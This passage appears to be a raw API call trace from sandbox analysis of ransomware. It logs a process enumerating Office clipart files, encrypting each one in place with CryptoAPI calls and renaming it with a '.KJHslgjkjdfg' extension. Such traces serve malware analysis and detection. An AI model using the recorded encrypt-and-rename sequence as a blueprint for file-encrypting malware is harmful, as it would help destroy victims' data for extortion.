dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.203] GetProcessHeap () returned 0x2ef0000 [0205.204] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.204] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.204] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.204] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.204] GetProcessHeap () returned 0x2ef0000 [0205.204] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.204] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.204] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.204] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.206] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.207] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.207] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.207] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.207] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.207] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.207] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa410, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa410, lpOverlapped=0x0) returned 1 [0205.213] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa410, dwBufLen=0xa410 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa410) returned 1 [0205.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.213] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa410, lpOverlapped=0x0) returned 1 [0205.213] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa4e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.214] SetEndOfFile (hFile=0x130) returned 1 [0205.217] GetProcessHeap () returned 0x2ef0000 [0205.217] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.217] GetProcessHeap () returned 0x2ef0000 [0205.217] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.kjhslgjkjdfg")) returned 1 [0205.218] CloseHandle (hObject=0x130) returned 1 [0205.219] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1 [0205.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.220] GetProcessHeap () returned 0x2ef0000 [0205.220] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.220] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.220] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0205.222] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.223] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.223] GetProcessHeap () returned 0x2ef0000 [0205.223] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.223] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.223] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.223] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.223] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.223] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.223] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.223] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.223] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.223] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.224] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xdc4, lpOverlapped=0x0) returned 1 [0205.224] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdd0) returned 1 [0205.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.224] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xdd0, lpOverlapped=0x0) returned 1 [0205.224] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.224] SetEndOfFile (hFile=0x130) returned 1 [0205.225] GetProcessHeap () returned 0x2ef0000 [0205.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.225] GetProcessHeap () returned 0x2ef0000 [0205.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.kjhslgjkjdfg")) returned 1 [0205.227] CloseHandle (hObject=0x130) returned 1 [0205.227] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1 [0205.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.229] GetProcessHeap () returned 0x2ef0000 [0205.229] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.229] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.229] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0205.231] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.231] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.231] GetProcessHeap () returned 0x2ef0000 [0205.231] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.231] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.231] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.231] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.231] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.232] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.232] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.232] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.232] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.232] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.232] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1476, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1476, lpOverlapped=0x0) returned 1 [0205.233] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1480, dwBufLen=0x1480 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1480) returned 1 [0205.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.233] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1480, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1480, lpOverlapped=0x0) returned 1 [0205.233] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.233] SetEndOfFile (hFile=0x130) returned 1 [0205.263] GetProcessHeap () returned 0x2ef0000 [0205.263] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.263] GetProcessHeap () returned 0x2ef0000 [0205.263] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.kjhslgjkjdfg")) returned 1 [0205.265] CloseHandle (hObject=0x130) returned 1 [0205.265] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1 [0205.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.267] GetProcessHeap () returned 0x2ef0000 [0205.267] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.267] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.268] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0205.272] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.272] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.272] GetProcessHeap () returned 0x2ef0000 [0205.272] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.272] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.272] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.272] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.273] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.273] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x92e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x92e, lpOverlapped=0x0) returned 1 [0205.273] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x930, dwBufLen=0x930 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x930) returned 1 [0205.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.273] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x930, lpOverlapped=0x0) returned 1 [0205.273] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.274] SetEndOfFile (hFile=0x130) returned 1 [0205.276] GetProcessHeap () returned 0x2ef0000 [0205.276] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.276] GetProcessHeap () returned 0x2ef0000 [0205.276] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.kjhslgjkjdfg")) returned 1 [0205.278] CloseHandle (hObject=0x130) returned 1 [0205.278] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1 [0205.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.279] GetProcessHeap () returned 0x2ef0000 [0205.279] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.279] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.279] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0205.281] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.281] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.281] GetProcessHeap () returned 0x2ef0000 [0205.281] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.281] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, 